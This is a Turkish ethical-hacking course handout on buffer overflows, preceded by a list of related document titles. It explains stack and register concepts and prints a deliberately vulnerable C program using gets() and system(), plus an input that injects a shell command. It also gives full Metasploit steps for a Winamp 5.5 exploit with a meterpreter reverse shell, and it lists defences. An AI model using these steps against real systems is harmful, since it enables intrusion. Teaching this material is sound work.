HAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ

Benzer belgeler
Anti-Virüs Atlatma 3. Kurulum

HAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ

ZAFİYET TESPİTİ VE SIZMA YÖNTEMLERİ. Eyüp ÇELİK Bilgi Teknolojileri Güvenlik Uzmanı

BLM-112 PROGRAMLAMA DİLLERİ II. Ders-3 İşaretçiler (Pointer) (Kısım-2)

Yrd. Doç. Dr. Caner ÖZCAN

Reverse Engineering Bootcamp Eğitim İçeriği

Yrd. Doç. Dr. Caner ÖZCAN

Bahar Dönemi. Öğr.Gör. Vedat MARTTİN

Anti-Virüs Atlatma 2. Kurulum

BM-311 Bilgisayar Mimarisi

BLM 112- Programlama Dilleri II. Hafta 2 C Programlarının Bellek Düzeni ve Rekürsif (Özyinelemeli) Fonksiyonlar

Anti-Virüs Atlatma 1. Resimden anlaşıldığı üzere 56 anti-virüs yazılımından 36 tanesi zararlı yazılım olduğunu doğrulamıştır.

BLM 112- Programlama Dilleri II. Hafta 5 İşaretçiler (Pointers)

Linux Assembly Programlamaya Giriş

Eln 1002 Bilgisayar Programlama II

İşletim Sistemlerine Giriş

BM-311 Bilgisayar Mimarisi

BM-311 Bilgisayar Mimarisi. Hazırlayan: M.Ali Akcayol Gazi Üniversitesi Bilgisayar Mühendisliği Bölümü

Ayrıca, Miller'ın fuzz terimi için yapmış olduğu bir açıklamayı orjinal haliyle koymak istiyorum.

IDA Pro ile Remote Linux Debugging

Internet Programming II. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı

İşletim Sistemlerine Giriş

BM-311 Bilgisayar Mimarisi

OMNET Ağ Benzetim Yazılımı (Network Simulation Framework) BİL 372 Bilgisayar Ağları. GYTE - Bilgisayar Mühendisliği Bölümü

Armitage Nedir? Kullanım Öncesi

Metasploit Framework ile Güvenlik Denetimi. Fatih Özavcı Bilgi Güvenliği Danışmanı fatih.ozavci at gamasec.net

ELN1002 BİLGİSAYAR PROGRAMLAMA 2

Bölüm 8: Ana Bellek. Operating System Concepts with Java 8 th Edition

Assembly Dili Nedir? Assembly dili biliyorum derken hangi işlemci ve hangi işletim sistemi için olduğunu da ifade etmek gerekir.

Komutların Yürütülmesi

Yrd. Doç. Dr. Caner ÖZCAN

İşletim Sistemlerine Giriş

C Konsol ve Komut Satırı

Konular. Hafta 5 Veri Tipleri (Devam) BLG339 PROGRAMLAMA DİLLERİ KAVRAMI

ADIM ADIM METASPLOIT METERPRETER SHELL DAVRANIŞ ANALİZİ

Bilgi Güvenliği Semineri

İstemci Tabanlı Saldırı Türleri. Ozan UÇAR

BLM 112- Programlama Dilleri II. Hafta 4 İşaretçiler (Pointers)

NESNEYE YÖNELİK PROGRAMLAMA

Yrd. Doç. Dr. Caner ÖZCAN

ADOBE FLASH PLAYER / CVE (Sıfırıncı Gün Zafiyeti)

Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı

Genel Programlama II

Bölüm 3: Adresleme Modları. Chapter 3: Addressing Modes

BİLGİSAYAR MİMARİSİ. Bilgisayar Bileşenleri Ve Programların Yürütülmesi. Özer Çelik Matematik-Bilgisayar Bölümü

İşletim Sistemi. BTEP205 - İşletim Sistemleri

Qt ile Bir Ağ Uygulaması

Uzaktan Eğitim Uygulama ve Araştırma Merkezi

Anti-Virus Atlatma - Maligno Kullanımı

BM-311 Bilgisayar Mimarisi

Bilgisayar İşletim Sistemleri BLG 312

İşletim Sistemlerine Giriş

Kabuk Programlama (Bash)

ALGORİTMA VE PROGRAMLAMA II

YZM 2116 Veri Yapıları

Struct VE GÖSTERİCİLER FONKSİYONLARDA STRUCT KULLANIMI Programlama dilleri hafta -

İŞLETİM SİSTEMİ KATMANLARI (Çekirdek, kabuk ve diğer temel kavramlar) Bir işletim sisteminin yazılım tasarımında ele alınması gereken iki önemli konu

İŞLETİM SİSTEMİ KATMANLARI (Çekirdek, Kabuk ve diğer temel kavramlar) Öğr.Gör. Dr. Dr. Şirin KARADENİZ

BASİT C PROGRAMLARI Öğr.Gör.Dr. Mahmut YALÇIN

FONKSİYONLAR. Gerçek hayattaki problemlerin çözümü için geliştirilen programlar çok büyük boyutlardadır.

İnternet Programcılığı

Genel Programlama II

Programlama Dilleri. C Dili. Programlama Dilleri-ders02/ 1

Bilgisayar Sistemlerine Genel Bakış

ALGORİTMA VE PROGRAMLAMA II

Bölüm 10. Altprogramların gerçeklenmesi ISBN

ÇOK BOYUTLU DİZİLER VE DİNAMİK BELLEK YÖNETİMİ İLE İLGİLİ ÖRNEKLER

Uzaktan Eğitim Uygulama ve Araştırma Merkezi

MPLAB IDE ve ISIS ile ASSEMBLY DİLİNDE UYGULAMA GELİŞTİRMEK

Uzaktan Eğitim Uygulama ve Araştırma Merkezi

İşletim Sistemlerine Giriş

Üst Düzey Programlama

Bilgi Güvenliği Denetim Sürecinde Özgür Yazılımlar. Fatih Özavcı Bilgi Güvenliği Danışmanı

C Programlama Dilininin Basit Yapıları

İşletim Sistemleri (Operating Systems)

Fiziksel Veritabanı Modelleme

Şekil. 64 Kelimelik Yığıtın Blok Şeması

Pointer Kavramı. Veri Yapıları

MAT213 BİLGİSAYAR PROGRAMLAMA I DERSİ Ders 1: Programlamaya Giriş

İŞLETİM SİSTEMİ İşletim sistemi kullanıcıyla bilgisayar donanımı arasında iletişim sağlayan programdır.

Özgür Yazılımlar ile VoIP Denetimi. Fatih Özavcı Bilgi Güvenliği Danışmanı

HAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ

Windows'da çalışırken pek çok durumda bir işe başlamadan önce işletim sisteminin o işe ilişkin bilgileri depolayacağı bir alan yaratması gerekir.

Exploit Nedir, Nasıl Kullanılır?

İşletim Sisteminin Temel İşlemleri

MOBIL UYGULAMA GELIŞTIRME

HAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ

Bilgisayar Mimarisi ve Organizasyonu Giriş

Çekirdek Nedir? Ne yapar?

Bilgi ve iletişim teknolojileri

FORMEL DİLLER VE SOYUT MAKİNALAR. Hafta 2

Üst Düzey Programlama

BMT 101 Algoritma ve Programlama I 11. Hafta. Yük. Müh. Köksal Gündoğdu 1

Exploit.CVE Analizi

ELN1001 BİLGİSAYAR PROGRAMLAMA I

KOD PARÇACIKLARI 1 / 5

Yrd. Doç. Dr. Caner ÖZCAN

DESTEK DOKÜMANI. GOWeb programının çalıştırılabilmesi için sırasıyla aşağıdaki servis ve programların ilgili makinada kurulu olması gerekmektedir.

ANA SINIF TÜRETİLEN BİRİNCİ SINIF TÜRETİLEN İKİNCİ SINIF

Transkript:

HAZIRLAYAN BEDRİ SERTKAYA bedri@bedrisertkaya.com Sistem Uzmanı CEH EĞİTMENİ

BUFFER OVERFLOW: Buffer Nedir? Buffer yani tampon alan donanım aygıtları veya farklı hızlarda farklı öncelikleri olan program işlemleri tarafından paylaşılan bir veri alanıdır. Buffer her aygıtın ya da process'in çalışmasını durdurmadan devam ettirmesini sağlar. Bufferlar Input/Output işlemi sırasında kullanıcının beklemesini engellemek için kullanılırlar. Bellekten okumak ve belleğe yazmak maliyetli bir işlemdir. Sistemi yorar ve hız olarak yavaştır. Input/Output aygıtlarından gelen veriler bu sebeple önce bir havuzda toplanır. Böylece bu havuz belirli miktarlarda dolduktan sonra toplu olarak belleğe yazılır. Bu sisteme performans kazandıran bir harekettir.buffer'ı bir örnekle pekiştirmek istersek havuz tabanındaki büyük bir musluktan boşaltılırken, yukarıdaki bir musluk da havuzu doldurmaya devam edebilmektedir. Buffer Overflow Nasıl Meydana Gelir? Buffer Overflow Türkçesi:Bellek Taşırması Buffer overflow depolama alanına tahsis edilmiş buffer'a işleyebileceği veriden fazla veri kopyalandığı takdir de meydana gelir. Programlar Neden Buffer Overflow Zaafiyetine Maruz Bırakılabilir Durumda? Sabit boyutlu ve sınır kontrolü gerçekleştirilmeyen alanlarda oluşmaktadır.

Strcat(), strcpy(), sprintf(), vsprintf(), bcopy(), gets(),scanf() fonksiyonları buffer boyutunu kontrol etmedikleri için exploit edilebilmektedir. Stack(YIĞIN) Stack geçici değerlerin saklandığı bir hafıza ortamıdır. Son giren ilk çıkar yöntemine göre çalışır. Buffer gibi davranarak fonksiyonun ihtiyacı olan bütün bilgiyi tutar. Stack yüksek adresten düşük adrese doğru büyür. Stack içerisine veri ekleme işlemi sırasıyla PUSH ve POP komutlarıyla gerçekleştirilir. HEAP Programların kullandığı boşta kalan alandır. Hafıza içerisinde dinamik bellek erişimi yapılan alandır. Bellek erişimi gerçekleştirmek için malloc(), free() gibi fonksiyonlar kullanılmaktadır. STACK OPERATIONS: Registers(Yazmaçlar) EIP(Extended Instruction Pointer) Çalıştırılacak bir sonraki instruction'a ait adresi tutan yazmaçtır. Code segment içerisindeki kodları sırası ile çalıştırır. ESP(Extended Stack Pointer) Stack'in bulunduğu en üst noktanın adresini tutar. Bir fonksiyon çağrıldığı zaman o fonksiyona ait stack yapısı oluşturulur.stack üst noktasının yeni adresi ESP register'ına yazılır. EBP(Extended Stack Pointer) Programlama dillerindeki yerel değişkenlerin büyük bir kısmı EBP register'ını referans olarak kullanır. Bir fonksiyon için stack'in üst noktasında yer alır. Stack frame oluşturulurken fonskiyonun geri dönüş adresinden sonra stack frame içerisine eklenir. Smashing the Stack: Ana hedef buffer'ı taşırmaktır. Böylelikle geri dönüş adresinin üzerine yazılır. Fonksiyon

çalıştırıldığında stack'de yer alan herhangi bir adrese zıplar.buffer overflow herhangi bir fonksiyonun geri dönüş adresini değiştirmemizi sağlar. Belleğe zararlı bir kod eklenir ve dönüş adresi ile birleştirilir. Stack smash edildiği takdir de: saldırgan çalışan process ile eşit hakları elde eder. Reverse bağlantı ve backdoor bağlantısı gerçekleştirebilir, komut çalıştırabilir. Derste Yaptığımız Buffer Overflow Uygulaması: Kod: #include<stdio.h> main() { char *name; char *dangereous_system_command; name = (char *) malloc(10); dangereous_system_command = (char *) malloc(128); printf("address of name is %d\n", name); printf("address of command is %d\n", dangereous_system_command); sprintf(dangereous_system_command, "echo %s", "Merhaba world!"); printf("isminiz nedir?"); gets(name); system(dangereous_system_command); } Kodumuzu gcc buffer.c -o buffer şeklinde derleriz. Derlenen kodu./buffer şeklinde çalıştırırız. Eğer 15 haneden fazla bir veri girersek peşine de komut girersek buffer overflow'u gerçekleştirmiş oluruz. Aşağıdaki değeri girdiğimiz zaman etikhacker isimli bir dosya ve içine etikhacker kelimesi

eklenmektedir. 1234567891234567touch etikhacker echo>etikhacker "etikhacker" Derste Yaptığımız Winamp 5.5 Buffer Overflow Uygulaması: Hedef:Windows XP SP3 ya da Windows 7 SP1 Adımlar: Metasploit ile: msfconsole komutu verildikten sonra: use exploit/windows/fileformat/winamp_maki_bof msf exploit (winamp_maki_bof)>set payload windows/meterpreter/reverse_tcp msf exploit (winamp_maki_bof)>set LHOST 10.100.86.50(Yerel Ip Adresiniz) msf exploit (winamp_maki_bof)>exploit Oluşturduğumuz /root/.msf4/local/mcvcore.maki dosyasını windows makinesine yüklediğimiz winamp programının skin klasöründeki mcvcore.maki dosyası ile değiştirerek exploit işlemini gerçekleştiriyoruz. use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.100.86.50 exploit Buffer Overflow'a Karşı Alınabilecek Önlemler: Stack çalıştırılmayacak şekilde ya da random location şeklinde yapılandırılır. Adres karıştırma(address Obfuscation) Fonksiyonlar random şekilde yapılandırılmalıdır. Data Execution Prevention(Veri Yürütme Engellemesi) aktif hale getirilmelidir. ASLR(Address space layout randomization) programda yer alan veri alanlarının rastgele şekilde düzenlenmesini sağlayarak bellek taşırma saldırılarına karşı korunmayı sağlar.

Statik Source Kod Analizleri:Kod çalıştırılmadan önce gerçekleştirlir. Bütün içerik incelenebilir. Debugging Programı gdb linux'da kullanılabilmektedir. Dinamik Analiz: Kod çalışma esnasında gerçekleştirilir. Örnek Dinamiz analiz programları: Windows:IDAPro,OllyDebugger Linux:objdump Yazmaçlar: Genel Amaçlı Yazmaçlar: EAX,(Accumulator)EBX(Base),ECX(Counter),EDX(Data),ESI(Source Index),EDI(Destination Index)EBP,ESP Segment Yazmaçları: CS,SS,DS,ES,FS,GS Koruma Yazmaçları: GDTR,IDTR,LDTR,TR Kontrol Yazmaçları: CRO,CR1,CR2,CR3